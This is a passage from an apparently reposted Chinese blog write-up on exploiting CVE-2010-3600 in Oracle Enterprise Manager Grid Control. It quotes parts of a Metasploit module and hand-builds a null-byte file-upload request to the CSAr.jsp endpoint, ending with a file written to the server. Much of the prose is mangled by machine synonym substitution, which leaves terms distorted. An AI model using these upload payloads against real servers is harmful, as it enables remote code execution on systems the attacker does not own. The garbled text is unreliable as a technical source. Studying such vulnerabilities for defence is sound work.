Oracle Enterprise Manager Grid Control JSP代码执行漏洞(CVE-2010-3600)

0×1

Oracle Enterprise Manager Grid Control是可以监控和治理网格中的Oracle数据库软件的对象。

Oracle Enterprise Manager Grid Control在实现上存在安然破绽,远程进击者可使用此破绽履行随意率性JSP代码。

在上传XML文件时,经由过程未指定的POST参数发送到”Client System Analyzer”组件某些JSP脚本的输入在用于创建XML文件之前未精确过滤,经由过程在哀求中供给空字节造成随意率性JSP代码履行。

利用法度榜样经由过程OCI的要领,造访数据库办事器,而OCI的造访模式,必须要安装Oracle Client。

参考链接:http://blog.csdn.net/hpuedu1909/Article/details/14454241

0×2

近来用绿盟扫描器扫到一个:

host:https://x.x.x.x:1158

造访存在破绽的办事器:

msf中search此exp:

应用此exp:

发明掉败了

show options查看一下payload:

此处为payload为reverse_tcp反向连接。

reverse_tcp反向连接(本机监听)//是办事器来连接进击者,返回一个SHELL。

bind_tcp 正向连接 (目标监听) // 是进击者主动连接办事器获得一个SHELL。

reverse_tcp 便是进击者开启端口等待远程目标连接,bind_tcp 便是远程目标开启一个端口,等待进击者连接,不用做端口映射。

斟酌此处是否因为正反向连接问题,以是换成bind_tcp正向连接:

exp:

发明仍旧掉败

查找此破绽表露平台(此为SCAP中文社区),查看此exp代码:

–ruby代码

代码主体为:

equire ‘msf/core’

class Metasploit3 Msf::Exploit::Remote

HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] }

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

include Msf::Exploit::WbemExec

def initialize(info={})//对破绽使用的阐明

……

def on_new_session(client)

……

def upload_file(data)

……

def check

……

def exploit//进行远程代码履行

……

end

此中核心函数为exploit函数

发明此中关键函数upload_file:

def upload_file(data)

res = send_request_cgi(

{

‘uri’=> ‘d/em/ecm/csa/v10103/CSAr.jsp’,

‘method’=> ‘POST’,

‘data’=> data

})

return res

end

着末返回的是res,推想res为上传的文件,此中uri是上传的页面,措施为POST,数据为data

先造访一下地址,查看是否存在该页面:

此处已判断该页面是一个可造访的空缺页面

继承查看代码,def check函数:

data = “sessionID=#{file_name}.txtx00.xml”

data “x0dx0a”

data Rex::Text.uri_encode(file_contents)

print_status(“Uploading the CSA#{file_name}.txt file”)

res = upload_file(data)

if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)

[1] [2]下一页

print_error(“The test file could not be uploaded”)

print_status(“Checking uploaded contents…”)

res = send_request_raw({‘uri’ => “/em/CSA#{file_name}.txt”})

若上传成功,上传后的地址为x.x.x.x:1158/em/CSAhack.txt

此处阐明只有csaPostStatus=0的时刻才上传成功。

借助一下hackbar,此处构造的data数据:sessionID=hack.txtx00.xmlx0dx0ahack

发明页面返回csaPostStatus=5信息,根据代码阐明只有csaPostStatus=0的时刻才表示上传成功,

考试测验一下转义:

页面返回csaPostStatus=0,造访一下上传页面:

空缺页面,未成功

把/x换成%,再试一下:

xhh表示两位的十六进制

x00======NULL

x0d======回车

x0a======r

重名报错了,阐明上个步骤的hack.txt已经是上传成功了,换个名字试试:

然而页面照样造访不了-_-

到这才发明,轻忽了很紧张的器械,传输的措施必须是post

以是在bp中试一下,仍旧必要将/x换成%:

再进行url的decode:

终于出来了flag,造访页面:

到这可以发明是已经上传成功了。

0×3

Oracle Database Server 11.1.0.7和11.2.0.1版本,以及Enterprise Manager Grid Control 10.2.0.5版本的Client System Analyzer组件中存在未明破绽。

第一次投稿,请大年夜家斧正。

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包